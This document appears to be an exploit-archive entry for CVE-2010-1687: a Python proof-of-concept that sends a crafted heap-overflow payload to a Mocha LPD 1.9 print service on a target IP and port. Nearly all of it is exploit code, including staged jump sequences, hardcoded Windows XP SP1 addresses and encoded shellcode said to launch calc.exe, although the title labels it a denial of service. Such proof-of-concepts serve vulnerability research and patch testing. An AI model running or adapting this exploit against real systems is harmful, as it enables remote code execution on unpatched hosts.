Mocha LPD 1.9 – Remote Buffer Overflow (Denial of Service) (PoC)
#!/usr/bin/python # Mocha LPD v1.9 Remote Heap Overflow Exploit # ol skool 'write 4' # whoops, I said it was a DoS. My bad. # btw yes, I know its 2010 :0) # CVE: 2010-1687 # tested on XP sp1 # (use anti debugging to see it work - !hidedebug zwqueryinformationprocess) # # call trace: # ntdll.RtlAllocateHeap Called from=lpd.0041520B import sys, socket print "********************************************************" print " Mocha LPD Heap Buffer Overflow Code Execution" print " by mr_me" print "********************************************************" if len(sys.argv) < 3: print "Usage: " + sys.argv[0] + " <target ip> <port>" sys.exit(0) stage1 = "\x90\x90" stage1 += "\x61" * 10 stage1 += "\x5b" * 2 stage1 += "\x03\xd2" * 5 stage1 += "\x03\xda" * 47 stage1 += "\xeb\x12" # jmp down to stage2 stage2 = "\x03\xda" * 125 # aligned to ebx, executes calc.exe via a hardcoded winExec() # ascii encoded lowercase sc = ("j314d34djq34djk34d1431s11s7j314d34dj234dkms502ds5o0d35upj02b8" "8731220222b6f507879729d088b9ck0ngmb9e910") exploit = "\x05\x64\x65\x66\x61\x75\x6c\x74\x20" exploit += "\xcc" * (975-len(stage1)) exploit += stage1 exploit += "\xeb\x86" # jmp up to stage1 exploit += "\x44" * 6 exploit += "\xad\xbb\xc3\x77" # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74] exploit += "\xb4\x73\xed\x77" # EAX 0x77ED73B4 --> ptr to UnhandledExceptionFilter() exploit += stage2 exploit += "\x90" * 38 # offset to ebx pointed shellcode exploit += sc exploit += "\xcc" * (1500-len(exploit)) exploit += "\x20\x61\x6c\x6c\x0a" host = sys.argv[1] port = int(sys.argv[2]) s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: connect = s.connect((host,port)) except: print "[-] Cant connect!" s.send("\x02") print "[+] Sending evil payload.. ph33r o.O" s.send(exploit) print '[+] Check for the calc!' s.close() |